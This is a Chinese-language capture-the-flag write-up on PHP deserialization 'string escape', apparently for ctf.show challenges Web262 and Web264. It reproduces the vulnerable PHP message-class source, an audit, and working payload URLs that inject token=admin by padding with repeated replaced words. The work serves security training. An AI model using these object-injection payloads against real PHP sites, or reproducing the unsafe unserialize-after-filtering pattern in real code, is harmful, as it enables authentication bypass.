Web262
源代码:
index.php:
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
message.php:
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
代码审计:
index.php:
传参f,m,t
,实例化message类的对象为msg。
将msg序列化,并且将序列化字符串中的fuck字符全部替换为loveU字符,赋值给usmg。
setcookie函数设置cookie的名为msg,值为base64编码后的usmg。
message.php:
当cookie被成功传入后,对cookie的值进行base64解码与反序列化。
若msg对象中的token值为admin,便输出flag.
思路:
本题我们能控制的参数只有f,m,t.
正常给成员变量赋值之后的序列化字符串是这样的:
若我们给成员变量to赋值为3";s:5:"token";s:5:"admin";}
,序列化之后是这样:
我们利用这种方式控制了token的值,将其修改为了admin。
但是此时to的值的长度为s:28:
,因此在反序列化时还是不会将token的值识别为admin,而是user。
因此,我们要让s:28:"3";
的双引号中的字符串数量与前面的数量匹配,就要用到字符串逃逸。
函数str_replace(‘fuck’, ‘loveU’, serialize($msg)) ,将fuck替换为loveU,且是在序列化之后再进行替换,因此只会改变字符串的实际长度,但是不会改变表示字符串长度的数字。
// 替换前
s:2:"to";s:4:"fuck";
// 替换后
s:2:"to";s:4:"loveU";
每有一个fuck,双引号里的实际字符长度就可以多一个。
s:28:"3";
中,实际长度为1,多出的长度为27个,所以我们添加27个fuck,就可以让数字与实际长度匹配,从而误导系统,将我们输入的token作为成员变量处理。
payload:
https://defdd8fc-439a-4f81-86c3-9c304ec64b7f.challenge.ctf.show/
?f=1
&m=2
&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck3";s:5:"token";s:5:"admin";}
EXP:
传入f,m,t:
https://defdd8fc-439a-4f81-86c3-9c304ec64b7f.challenge.ctf.show/
?f=1
&m=2
&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck3";s:5:"token";s:5:"admin";}
访问message.php,得到flag.
Web264
源代码:
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
message.php:
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
代码审计:
与上一题不同在于将Cookie改为了设置Session。
且message.php页面要求设置Cookie:msg的值,没有要求,随便输入即可。
思路:
与262相同。
EXP:
?f=1
&m=2
&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck3";s:5:"token";s:5:"admin";}
然后在Cookie中设置msg=1后,访问message.php,得到flag.